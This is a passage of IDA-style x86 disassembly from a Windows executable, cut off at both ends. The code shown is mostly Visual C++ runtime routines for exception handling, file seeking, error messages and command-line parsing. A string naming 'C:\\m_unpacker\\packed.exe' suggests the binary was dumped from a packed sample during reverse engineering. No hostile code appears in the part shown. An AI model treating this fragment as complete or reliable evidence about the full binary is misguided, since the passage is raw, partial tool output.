XREF: sub_41AFFE+23j mov [ecx], edi add dword_47D9CC, 4 mov eax, edi pop esi retn sub_41AFFE endp ; =============== S U B R O U T I N E ======================================= sub_41B07E proc near ; DATA XREF: .data:0042B018o push 80h call sub_414CAD test eax, eax pop ecx mov dword_47D9D0, eax jnz short loc_41B096 push 18h pop eax retn ; --------------------------------------------------------------------------- loc_41B096: ; CODE XREF: sub_41B07E+12j and dword ptr [eax], 0 mov eax, dword_47D9D0 mov dword_47D9CC, eax xor eax, eax retn sub_41B07E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0A6 proc near ; CODE XREF: sub_41B0DE+4p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset stru_429560 call __SEH_prolog call loc_415D79 and [ebp+ms_exc.disabled], 0 mov edi, [ebp+arg_0] call sub_41AFFE mov [ebp+var_1C], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41B0D8 mov eax, [ebp+var_1C] call __SEH_epilog retn sub_41B0A6 endp ; =============== S U B R O U T I N E ======================================= sub_41B0D8 proc near ; CODE XREF: sub_41B0A6+24p ; DATA XREF: .rdata:stru_429560o call sub_415D82 retn sub_41B0D8 endp ; =============== S U B R O U T I N E ======================================= sub_41B0DE proc near ; CODE XREF: sub_415D8B+3Bp arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B0A6 neg eax sbb eax, eax neg eax pop ecx dec eax retn sub_41B0DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0F0 proc near ; CODE XREF: .text:loc_416205p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset stru_429570 call __SEH_prolog mov [ebp+var_1C], offset dword_429D84 loc_41B103: ; CODE XREF: sub_41B0F0+3Cj cmp [ebp+var_1C], offset dword_429D84 jnb short loc_41B12E and [ebp+ms_exc.disabled], 0 mov eax, [ebp+var_1C] mov eax, [eax] test eax, eax jz short loc_41B124 call eax jmp short loc_41B124 ; --------------------------------------------------------------------------- loc_41B11D: ; DATA XREF: .rdata:stru_429570o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_41B121: ; DATA XREF: .rdata:stru_429570o mov esp, [ebp+ms_exc.old_esp] loc_41B124: ; CODE XREF: sub_41B0F0+27j ; sub_41B0F0+2Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh add [ebp+var_1C], 4 jmp short loc_41B103 ; --------------------------------------------------------------------------- loc_41B12E: ; CODE XREF: sub_41B0F0+1Aj call __SEH_epilog retn sub_41B0F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B134 proc near ; DATA XREF: sub_415D8B:loc_415DC1o var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset stru_429580 call __SEH_prolog mov [ebp+var_1C], offset dword_429D8C loc_41B147: ; CODE XREF: sub_41B134+3Cj cmp [ebp+var_1C], offset dword_429D8C jnb short loc_41B172 and [ebp+ms_exc.disabled], 0 mov eax, [ebp+var_1C] mov eax, [eax] test eax, eax jz short loc_41B168 call eax jmp short loc_41B168 ; --------------------------------------------------------------------------- loc_41B161: ; DATA XREF: .rdata:stru_429580o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_41B165: ; DATA XREF: .rdata:stru_429580o mov esp, [ebp+ms_exc.old_esp] loc_41B168: ; CODE XREF: sub_41B134+27j ; sub_41B134+2Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh add [ebp+var_1C], 4 jmp short loc_41B147 ; --------------------------------------------------------------------------- loc_41B172: ; CODE XREF: sub_41B134+1Aj call __SEH_epilog retn sub_41B134 endp ; =============== S U B R O U T I N E ======================================= sub_41B178 proc near ; CODE XREF: sub_418CEA+18Bp ; sub_41B1EC+52p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push esi call sub_41CB4B cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41B199 call sub_419430 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41B199: ; CODE XREF: sub_41B178+Fj push edi push [esp+8+arg_8] push 0 push [esp+10h+arg_4] push eax call ds:dword_420090 ; SetFilePointer mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_41B1BA call ds:dword_420008 ; RtlGetLastWin32Error jmp short loc_41B1BC ; --------------------------------------------------------------------------- loc_41B1BA: ; CODE XREF: sub_41B178+38j xor eax, eax loc_41B1BC: ; CODE XREF: sub_41B178+40j test eax, eax jz short loc_41B1CC push eax call sub_419442 pop ecx or eax, 0FFFFFFFFh jmp short loc_41B1E9 ; --------------------------------------------------------------------------- loc_41B1CC: ; CODE XREF: sub_41B178+46j mov ecx, esi and esi, 1Fh sar ecx, 5 mov ecx, dword_47C640[ecx*4] mov eax, esi lea eax, [eax+eax*8] lea eax, [ecx+eax*4+4] and byte ptr [eax], 0FDh mov eax, edi loc_41B1E9: ; CODE XREF: sub_41B178+52j pop edi pop esi retn sub_41B178 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B1EC proc near ; CODE XREF: sub_415FF8+69p ; sub_4162EB+D0p ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 0041B27B SIZE 0000001C BYTES push 0Ch push offset stru_429590 call __SEH_prolog mov ebx, [ebp+arg_0] cmp ebx, dword_47C638 jnb short loc_41B27B mov eax, ebx sar eax, 5 lea edi, ds:47C640h[eax*4] mov eax, ebx and eax, 1Fh lea esi, [eax+eax*8] shl esi, 2 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_41B27B push ebx call sub_41CB8C pop ecx and [ebp+ms_exc.disabled], 0 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_41B24B push [ebp+arg_8] push [ebp+arg_4] push ebx call sub_41B178 add esp, 0Ch mov [ebp+var_1C], eax jmp short loc_41B262 ; --------------------------------------------------------------------------- loc_41B24B: ; CODE XREF: sub_41B1EC+49j call sub_419430 mov dword ptr [eax], 9 call sub_419439 and dword ptr [eax], 0 or [ebp+var_1C], 0FFFFFFFFh loc_41B262: ; CODE XREF: sub_41B1EC+5Dj or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41B273 mov eax, [ebp+var_1C] jmp short loc_41B291 sub_41B1EC endp ; =============== S U B R O U T I N E ======================================= sub_41B270 proc near ; DATA XREF: .rdata:stru_429590o mov ebx, [ebp+8] sub_41B270 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41B273 proc near ; CODE XREF: sub_41B1EC+7Ap push ebx call sub_41CBFF pop ecx retn sub_41B273 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41B1EC loc_41B27B: ; CODE XREF: sub_41B1EC+15j ; sub_41B1EC+35j call sub_419430 mov dword ptr [eax], 9 call sub_419439 and dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_41B291: ; CODE XREF: sub_41B1EC+82j call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_41B1EC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B297 proc near ; CODE XREF: sub_415FF8+2Bp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] mov esi, [edi+10h] xor ebx, ebx cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_41B2B3 mov [edi+4], ebx loc_41B2B3: ; CODE XREF: sub_41B297+17j push 1 push ebx push esi call sub_41B1EC add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_41B334 mov ecx, [edi+0Ch] test cx, 108h jnz short loc_41B2D8 sub eax, [edi+4] jmp loc_41B3F4 ; --------------------------------------------------------------------------- loc_41B2D8: ; CODE XREF: sub_41B297+37j mov eax, [edi] mov edx, [edi+8] mov ebx, eax sub ebx, edx test cl, 3 mov [ebp+var_8], ebx jz short loc_41B325 mov ebx, esi mov ecx, esi sar ebx, 5 mov ebx, dword_47C640[ebx*4] and ecx, 1Fh lea ecx, [ecx+ecx*8] test byte ptr [ebx+ecx*4+4], 80h jz short loc_41B317 mov ecx, edx cmp ecx, eax jnb short loc_41B317 loc_41B30A: ; CODE XREF: sub_41B297+7Ej cmp byte ptr [ecx], 0Ah jnz short loc_41B312 inc [ebp+var_8] loc_41B312: ; CODE XREF: sub_41B297+76j inc ecx cmp ecx, [edi] jb short loc_41B30A loc_41B317: ; CODE XREF: sub_41B297+6Bj ; sub_41B297+71j ... cmp [ebp+var_4], 0 jnz short loc_41B33C mov eax, [ebp+var_8] jmp loc_41B3F4 ; --------------------------------------------------------------------------- loc_41B325: ; CODE XREF: sub_41B297+50j test cl, cl js short loc_41B317 call sub_419430 mov dword ptr [eax], 16h loc_41B334: ; CODE XREF: sub_41B297+2Dj or eax, 0FFFFFFFFh jmp loc_41B3F4 ; --------------------------------------------------------------------------- loc_41B33C: ; CODE XREF: sub_41B297+84j test byte ptr [edi+0Ch], 1 jz loc_41B3EC mov ecx, [edi+4] test ecx, ecx jnz short loc_41B355 and [ebp+var_8], ecx jmp loc_41B3EC ; --------------------------------------------------------------------------- loc_41B355: ; CODE XREF: sub_41B297+B4j sub eax, edx add eax, ecx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 lea ebx, ds:47C640h[eax*4] mov eax, esi and eax, 1Fh lea esi, [eax+eax*8] mov eax, [ebx] shl esi, 2 test byte ptr [esi+eax+4], 80h jz short loc_41B3E6 push 2 push 0 push [ebp+var_C] call sub_41B1EC add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_41B3AD mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax jmp short loc_41B3A3 ; --------------------------------------------------------------------------- loc_41B39A: ; CODE XREF: sub_41B297+10Ej cmp byte ptr [eax], 0Ah jnz short loc_41B3A2 inc [ebp+arg_0] loc_41B3A2: ; CODE XREF: sub_41B297+106j inc eax loc_41B3A3: ; CODE XREF: sub_41B297+101j cmp eax, ecx jb short loc_41B39A test byte ptr [edi+0Dh], 20h jmp short loc_41B3E1 ; --------------------------------------------------------------------------- loc_41B3AD: ; CODE XREF: sub_41B297+F7j push 0 push [ebp+var_4] push [ebp+var_C] call sub_41B1EC mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_41B3D4 mov ecx, [edi+0Ch] test cl, 8 jz short loc_41B3D4 test ch, 4 jz short loc_41B3D7 loc_41B3D4: ; CODE XREF: sub_41B297+12Ej ; sub_41B297+136j mov eax, [edi+18h] loc_41B3D7: ; CODE XREF: sub_41B297+13Bj mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_41B3E1: ; CODE XREF: sub_41B297+114j jz short loc_41B3E6 inc [ebp+arg_0] loc_41B3E6: ; CODE XREF: sub_41B297+E3j ; sub_41B297:loc_41B3E1j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_41B3EC: ; CODE XREF: sub_41B297+A9j ; sub_41B297+B9j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_41B3F4: ; CODE XREF: sub_41B297+3Cj ; sub_41B297+89j ... pop edi pop esi pop ebx leave retn sub_41B297 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B3F9 proc near ; CODE XREF: sub_4160D0+12p ; sub_4160F5+12p ... var_10C = byte ptr -10Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch mov eax, dword_42DEB8 xor eax, [ebp+4] mov ecx, [ebp+arg_0] push ebx push esi mov [ebp+var_4], eax xor edx, edx push edi xor eax, eax loc_41B417: ; CODE XREF: sub_41B3F9+2Bj cmp ecx, dword_42DFC8[eax*8] jz short loc_41B426 inc eax cmp eax, 12h jb short loc_41B417 loc_41B426: ; CODE XREF: sub_41B3F9+25j mov esi, eax shl esi, 3 cmp ecx, dword_42DFC8[esi] jnz loc_41B55A mov eax, dword_47C210 cmp eax, 1 jz loc_41B535 cmp eax, edx jnz short loc_41B456 cmp dword_42D7D4, 1 jz loc_41B535 loc_41B456: ; CODE XREF: sub_41B3F9+4Ej cmp ecx, 0FCh jz loc_41B55A push 104h lea eax, [ebp+var_10C] push eax push edx mov [ebp+var_8], dl call ds:dword_420010 ; GetModuleFileNameA test eax, eax jnz short loc_41B48F lea eax, [ebp+var_10C] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_419A70 pop ecx pop ecx loc_41B48F: ; CODE XREF: sub_41B3F9+81j lea eax, [ebp+var_10C] push eax lea edi, [ebp+var_10C] call sub_4177F0 inc eax cmp eax, 3Ch pop ecx jbe short loc_41B4D1 lea eax, [ebp+var_10C] push eax call sub_4177F0 mov edi, eax lea eax, [ebp+var_10C] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_4144A0 add esp, 10h loc_41B4D1: ; CODE XREF: sub_41B3F9+ADj push edi call sub_4177F0 push off_42DFCC[esi] mov ebx, eax call sub_4177F0 lea eax, [ebx+eax+1Ch] pop ecx add eax, 3 pop ecx and eax, 0FFFFFFFCh call sub_414630 mov ebx, esp push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push ebx call sub_419A70 push edi push ebx call sub_419A80 push offset asc_4298C0 ; "\n\n" push ebx call sub_419A80 push off_42DFCC[esi] push ebx call sub_419A80 push 12010h push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push ebx call sub_41E283 add esp, 2Ch jmp short loc_41B55A ; --------------------------------------------------------------------------- loc_41B535: ; CODE XREF: sub_41B3F9+46j ; sub_41B3F9+57j push edx lea eax, [ebp+arg_0] push eax lea esi, off_42DFCC[esi] push dword ptr [esi] call sub_4177F0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call ds:dword_4201B4 ; GetStdHandle push eax call ds:dword_420040 ; WriteFile loc_41B55A: ; CODE XREF: sub_41B3F9+38j ; sub_41B3F9+63j ... lea esp, [ebp-118h] mov ecx, [ebp+var_4] xor ecx, [ebp+4] call sub_41A026 pop edi pop esi pop ebx leave retn sub_41B3F9 endp ; =============== S U B R O U T I N E ======================================= sub_41B570 proc near ; CODE XREF: sub_4160D0+9p ; sub_4160F5+9p mov eax, dword_47C210 cmp eax, 1 jz short loc_41B587 test eax, eax jnz short locret_41B5A8 cmp dword_42D7D4, 1 jnz short locret_41B5A8 loc_41B587: ; CODE XREF: sub_41B570+8j push 0FCh call sub_41B3F9 mov eax, dword_47C390 test eax, eax pop ecx jz short loc_41B59D call eax loc_41B59D: ; CODE XREF: sub_41B570+29j push 0FFh call sub_41B3F9 pop ecx locret_41B5A8: ; CODE XREF: sub_41B570+Cj ; sub_41B570+15j retn sub_41B570 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B5A9 proc near ; CODE XREF: .text:004162BDp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi call sub_416C45 mov edi, [ebp+arg_0] mov esi, eax mov edx, [esi+54h] mov eax, dword_42E0DC mov ecx, edx loc_41B5C4: ; CODE XREF: sub_41B5A9+2Aj cmp [ecx], edi jz short loc_41B5D5 lea ebx, [eax+eax*2] add ecx, 0Ch lea ebx, [edx+ebx*4] cmp ecx, ebx jb short loc_41B5C4 loc_41B5D5: ; CODE XREF: sub_41B5A9+1Dj lea eax, [eax+eax*2] lea eax, [edx+eax*4] cmp ecx, eax jnb short loc_41B5E3 cmp [ecx], edi jz short loc_41B5E5 loc_41B5E3: ; CODE XREF: sub_41B5A9+34j xor ecx, ecx loc_41B5E5: ; CODE XREF: sub_41B5A9+38j test ecx, ecx jz loc_41B6FF mov ebx, [ecx+8] test ebx, ebx mov [ebp+arg_0], ebx jz loc_41B6FF cmp ebx, 5 jnz short loc_41B60C and dword ptr [ecx+8], 0 xor eax, eax inc eax jmp loc_41B708 ; --------------------------------------------------------------------------- loc_41B60C: ; CODE XREF: sub_41B5A9+55j cmp ebx, 1 jz loc_41B6FA mov eax, [esi+58h] mov [ebp+var_4], eax mov eax, [ebp+arg_4] mov [esi+58h], eax mov eax, [ecx+4] cmp eax, 8 jnz loc_41B6EC mov edx, dword_42E0D0 mov eax, dword_42E0D4 add eax, edx cmp edx, eax jge short loc_41B665 lea eax, [edx+edx*2] shl eax, 2 loc_41B644: ; CODE XREF: sub_41B5A9+B7j mov edi, [esi+54h] and dword ptr [eax+edi+8], 0 mov edi, dword_42E0D0 mov ebx, dword_42E0D4 inc edx add ebx, edi add eax, 0Ch cmp edx, ebx jl short loc_41B644 mov ebx, [ebp+arg_0] loc_41B665: ; CODE XREF: sub_41B5A9+93j mov ecx, [ecx] cmp ecx, 0C000008Eh mov edi, [esi+5Ch] jnz short loc_41B67B mov dword ptr [esi+5Ch], 83h jmp short loc_41B6DF ; --------------------------------------------------------------------------- loc_41B67B: ; CODE XREF: sub_41B5A9+C7j cmp ecx, 0C0000090h jnz short loc_41B68C mov dword ptr [esi+5Ch], 81h jmp short loc_41B6DF ; --------------------------------------------------------------------------- loc_41B68C: ; CODE XREF: sub_41B5A9+D8j cmp ecx, 0C0000091h jnz short loc_41B69D mov dword ptr [esi+5Ch], 84h jmp short loc_41B6DF ; --------------------------------------------------------------------------- loc_41B69D: ; CODE XREF: sub_41B5A9+E9j cmp ecx, 0C0000093h jnz short loc_41B6AE mov dword ptr [esi+5Ch], 85h jmp short loc_41B6DF ; --------------------------------------------------------------------------- loc_41B6AE: ; CODE XREF: sub_41B5A9+FAj cmp ecx, 0C000008Dh jnz short loc_41B6BF mov dword ptr [esi+5Ch], 82h jmp short loc_41B6DF ; --------------------------------------------------------------------------- loc_41B6BF: ; CODE XREF: sub_41B5A9+10Bj cmp ecx, 0C000008Fh jnz short loc_41B6D0 mov dword ptr [esi+5Ch], 86h jmp short loc_41B6DF ; --------------------------------------------------------------------------- loc_41B6D0: ; CODE XREF: sub_41B5A9+11Cj cmp ecx, 0C0000092h jnz short loc_41B6DF mov dword ptr [esi+5Ch], 8Ah loc_41B6DF: ; CODE XREF: sub_41B5A9+D0j ; sub_41B5A9+E1j ... push dword ptr [esi+5Ch] push 8 call ebx pop ecx mov [esi+5Ch], edi jmp short loc_41B6F3 ; --------------------------------------------------------------------------- loc_41B6EC: ; CODE XREF: sub_41B5A9+7Ej and dword ptr [ecx+8], 0 push eax call ebx loc_41B6F3: ; CODE XREF: sub_41B5A9+141j mov eax, [ebp+var_4] pop ecx mov [esi+58h], eax loc_41B6FA: ; CODE XREF: sub_41B5A9+66j or eax, 0FFFFFFFFh jmp short loc_41B708 ; --------------------------------------------------------------------------- loc_41B6FF: ; CODE XREF: sub_41B5A9+3Ej ; sub_41B5A9+4Cj push [ebp+arg_4] call ds:dword_4201B8 ; UnhandledExceptionFilter loc_41B708: ; CODE XREF: sub_41B5A9+5Ej ; sub_41B5A9+154j pop edi pop esi pop ebx leave retn sub_41B5A9 endp ; =============== S U B R O U T I N E ======================================= sub_41B70D proc near ; CODE XREF: .text:00416275p cmp dword_47D9D4, 0 jnz short loc_41B71B call sub_41AF4D loc_41B71B: ; CODE XREF: sub_41B70D+7j push esi mov esi, dword_47D9C4 test esi, esi jnz short loc_41B72D mov esi, 420AEAh jmp short loc_41B772 ; --------------------------------------------------------------------------- loc_41B72D: ; CODE XREF: sub_41B70D+17j mov al, [esi] cmp al, 22h jnz short loc_41B75B inc esi mov al, [esi] cmp al, 22h jz short loc_41B76B loc_41B73A: ; CODE XREF: sub_41B70D+45j test al, al jz short loc_41B754 movzx eax, al push eax call sub_41E3AD test eax, eax pop ecx jz short loc_41B74D inc esi loc_41B74D: ; CODE XREF: sub_41B70D+3Dj inc esi mov al, [esi] cmp al, 22h jnz short loc_41B73A loc_41B754: ; CODE XREF: sub_41B70D+2Fj cmp byte ptr [esi], 22h jnz short loc_41B76C jmp short loc_41B76B ; --------------------------------------------------------------------------- loc_41B75B: ; CODE XREF: sub_41B70D+24j cmp al, 20h jbe short loc_41B76C loc_41B75F: ; CODE XREF: sub_41B70D+56j inc esi cmp byte ptr [esi], 20h ja short loc_41B75F jmp short loc_41B76C ; --------------------------------------------------------------------------- loc_41B767: ; CODE XREF: sub_41B70D+63j cmp al, 20h ja short loc_41B772 loc_41B76B: ; CODE XREF: sub_41B70D+2Bj ; sub_41B70D+4Cj inc esi loc_41B76C: ; CODE XREF: sub_41B70D+4Aj ; sub_41B70D+50j ... mov al, [esi] test al, al jnz short loc_41B767 loc_41B772: ; CODE XREF: sub_41B70D+1Ej ; sub_41B70D+5Cj mov eax, esi pop esi retn sub_41B70D endp ; =============== S U B R O U T I N E ======================================= sub_41B776 proc near ; CODE XREF: .text:loc_416244p push ebx xor ebx, ebx cmp dword_47D9D4, ebx push esi push edi jnz short loc_41B788 call sub_41AF4D loc_41B788: ; CODE XREF: sub_41B776+Bj mov esi, dword_47C208 xor edi, edi cmp esi, ebx jnz short loc_41B7A6 jmp short loc_41B7C6 ; --------------------------------------------------------------------------- loc_41B796: ; CODE XREF: sub_41B776+34j cmp al, 3Dh jz short loc_41B79B inc edi loc_41B79B: ; CODE XREF: sub_41B776+22j push esi call sub_4177F0 pop ecx lea esi, [esi+eax+1] loc_41B7A6: ; CODE XREF: sub_41B776+1Cj mov al, [esi] cmp al, bl jnz short loc_41B796 lea eax, ds:4[edi*4] push eax call sub_414CAD mov edi, eax cmp edi, ebx pop ecx mov dword_47C1E4, edi jnz short loc_41B7CB loc_41B7C6: ; CODE XREF: sub_41B776+1Ej or eax, 0FFFFFFFFh jmp short loc_41B823 ; --------------------------------------------------------------------------- loc_41B7CB: ; CODE XREF: sub_41B776+4Ej mov esi, dword_47C208 push ebp jmp short loc_41B7FE ; --------------------------------------------------------------------------- loc_41B7D4: ; CODE XREF: sub_41B776+8Aj push esi call sub_4177F0 mov ebp, eax inc ebp cmp byte ptr [esi], 3Dh pop ecx jz short loc_41B7FC push ebp call sub_414CAD cmp eax, ebx pop ecx mov [edi], eax jz short loc_41B827 push esi push eax call sub_419A70 pop ecx pop ecx add edi, 4 loc_41B7FC: ; CODE XREF: sub_41B776+6Bj add esi, ebp loc_41B7FE: ; CODE XREF: sub_41B776+5Cj cmp [esi], bl jnz short loc_41B7D4 push dword_47C208 call sub_414844 mov dword_47C208, ebx mov [edi], ebx mov dword_47D9C8, 1 xor eax, eax loc_41B821: ; CODE XREF: sub_41B776+C5j pop ecx pop ebp loc_41B823: ; CODE XREF: sub_41B776+53j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41B827: ; CODE XREF: sub_41B776+78j push dword_47C1E4 call sub_414844 mov dword_47C1E4, ebx or eax, 0FFFFFFFFh jmp short loc_41B821 sub_41B776 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B83D proc near ; CODE XREF: sub_41B9A9+54p ; sub_41B9A9+85p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx mov ebx, [ebp+arg_4] xor edx, edx cmp [ebp+arg_0], edx push edi mov [esi], edx mov edi, ecx mov dword ptr [ebx], 1 jz short loc_41B860 mov ecx, [ebp+arg_0] add [ebp+arg_0], 4 mov [ecx], edi loc_41B860: ; CODE XREF: sub_41B83D+18j ; sub_41B83D+65j ... cmp byte ptr [eax], 22h jnz short loc_41B873 xor ecx, ecx test edx, edx setz cl inc eax mov edx, ecx mov cl, 22h jmp short loc_41B8A0 ; --------------------------------------------------------------------------- loc_41B873: ; CODE XREF: sub_41B83D+26j inc dword ptr [esi] test edi, edi jz short loc_41B87E mov cl, [eax] mov [edi], cl inc edi loc_41B87E: ; CODE XREF: sub_41B83D+3Aj mov cl, [eax] movzx ebx, cl inc eax test byte_47C761[ebx], 4 jz short loc_41B899 inc dword ptr [esi] test edi, edi jz short loc_41B898 mov bl, [eax] mov [edi], bl inc edi loc_41B898: ; CODE XREF: sub_41B83D+54j inc eax loc_41B899: ; CODE XREF: sub_41B83D+4Ej test cl, cl mov ebx, [ebp+arg_4] jz short loc_41B8D2 loc_41B8A0: ; CODE XREF: sub_41B83D+34j test edx, edx jnz short loc_41B860 cmp cl, 20h jz short loc_41B8AE cmp cl, 9 jnz short loc_41B860 loc_41B8AE: ; CODE XREF: sub_41B83D+6Aj test edi, edi jz short loc_41B8B6 and byte ptr [edi-1], 0 loc_41B8B6: ; CODE XREF: sub_41B83D+73j ; sub_41B83D+96j and [ebp+var_4], 0 loc_41B8BA: ; CODE XREF: sub_41B83D+157j cmp byte ptr [eax], 0 jz loc_41B999 loc_41B8C3: ; CODE XREF: sub_41B83D+93j mov cl, [eax] cmp cl, 20h jz short loc_41B8CF cmp cl, 9 jnz short loc_41B8D5 loc_41B8CF: ; CODE XREF: sub_41B83D+8Bj inc eax jmp short loc_41B8C3 ; --------------------------------------------------------------------------- loc_41B8D2: ; CODE XREF: sub_41B83D+61j dec eax jmp short loc_41B8B6 ; --------------------------------------------------------------------------- loc_41B8D5: ; CODE XREF: sub_41B83D+90j cmp byte ptr [eax], 0 jz loc_41B999 cmp [ebp+arg_0], 0 jz short loc_41B8ED mov ecx, [ebp+arg_0] add [ebp+arg_0], 4 mov [ecx], edi loc_41B8ED: ; CODE XREF: sub_41B83D+A5j inc dword ptr [ebx] loc_41B8EF: ; CODE XREF: sub_41B83D+145j xor ebx, ebx inc ebx xor edx, edx jmp short loc_41B8F8 ; --------------------------------------------------------------------------- loc_41B8F6: ; CODE XREF: sub_41B83D+BEj inc eax inc edx loc_41B8F8: ; CODE XREF: sub_41B83D+B7j cmp byte ptr [eax], 5Ch jz short loc_41B8F6 cmp byte ptr [eax], 22h jnz short loc_41B928 test dl, 1 jnz short loc_41B926 cmp [ebp+var_4], 0 jz short loc_41B919 lea ecx, [eax+1] cmp byte ptr [ecx], 22h jnz short loc_41B919 mov eax, ecx jmp short loc_41B91B ; --------------------------------------------------------------------------- loc_41B919: ; CODE XREF: sub_41B83D+CEj ; sub_41B83D+D6j xor ebx, ebx loc_41B91B: ; CODE XREF: sub_41B83D+DAj xor ecx, ecx cmp [ebp+var_4], ecx setz cl mov [ebp+var_4], ecx loc_41B926: ; CODE XREF: sub_41B83D+C8j shr edx, 1 loc_41B928: ; CODE XREF: sub_41B83D+C3j test edx, edx jz short loc_41B939 loc_41B92C: ; CODE XREF: sub_41B83D+FAj test edi, edi jz short loc_41B934 mov byte ptr [edi], 5Ch inc edi loc_41B934: ; CODE XREF: sub_41B83D+F1j inc dword ptr [esi] dec edx jnz short loc_41B92C loc_41B939: ; CODE XREF: sub_41B83D+EDj mov cl, [eax] test cl, cl jz short loc_41B987 cmp [ebp+var_4], 0 jnz short loc_41B94F cmp cl, 20h jz short loc_41B987 cmp cl, 9 jz short loc_41B987 loc_41B94F: ; CODE XREF: sub_41B83D+106j test ebx, ebx jz short loc_41B981 test edi, edi jz short loc_41B970 movzx edx, cl test byte_47C761[edx], 4 jz short loc_41B969 mov [edi], cl inc edi inc eax inc dword ptr [esi] loc_41B969: ; CODE XREF: sub_41B83D+124j mov cl, [eax] mov [edi], cl inc edi jmp short loc_41B97F ; --------------------------------------------------------------------------- loc_41B970: ; CODE XREF: sub_41B83D+118j movzx ecx, cl test byte_47C761[ecx], 4 jz short loc_41B97F inc eax inc dword ptr [esi] loc_41B97F: ; CODE XREF: sub_41B83D+131j ; sub_41B83D+13Dj inc dword ptr [esi] loc_41B981: ; CODE XREF: sub_41B83D+114j inc eax jmp loc_41B8EF ; --------------------------------------------------------------------------- loc_41B987: ; CODE XREF: sub_41B83D+100j ; sub_41B83D+10Bj ... test edi, edi jz short loc_41B98F and byte ptr [edi], 0 inc edi loc_41B98F: ; CODE XREF: sub_41B83D+14Cj inc dword ptr [esi] mov ebx, [ebp+arg_4] jmp loc_41B8BA ; --------------------------------------------------------------------------- loc_41B999: ; CODE XREF: sub_41B83D+80j ; sub_41B83D+9Bj mov eax, [ebp+arg_0] test eax, eax jz short loc_41B9A3 and dword ptr [eax], 0 loc_41B9A3: ; CODE XREF: sub_41B83D+161j inc dword ptr [ebx] pop edi pop ebx leave retn sub_41B83D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B9A9 proc near ; CODE XREF: .text:00416233p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp dword_47D9D4, edi jnz short loc_41B9C0 call sub_41AF4D loc_41B9C0: ; CODE XREF: sub_41B9A9+10j and byte_47C49C, 0 push 104h mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push esi push edi call ds:dword_420010 ; GetModuleFileNameA mov eax, dword_47D9C4 cmp eax, edi mov off_47C1F4, esi jz short loc_41B9EF cmp byte ptr [eax], 0 mov ebx, eax jnz short loc_41B9F1 loc_41B9EF: ; CODE XREF: sub_41B9A9+3Dj mov ebx, esi loc_41B9F1: ; CODE XREF: sub_41B9A9+44j lea eax, [ebp+var_4] push eax push edi lea esi, [ebp+var_8] xor ecx, ecx mov eax, ebx call sub_41B83D mov esi, [ebp+var_4] mov eax, [ebp+var_8] shl esi, 2 add eax, esi push eax call sub_414CAD mov edi, eax add esp, 0Ch test edi, edi jnz short loc_41BA21 or eax, 0FFFFFFFFh jmp short loc_41BA46 ; --------------------------------------------------------------------------- loc_41BA21: ; CODE XREF: 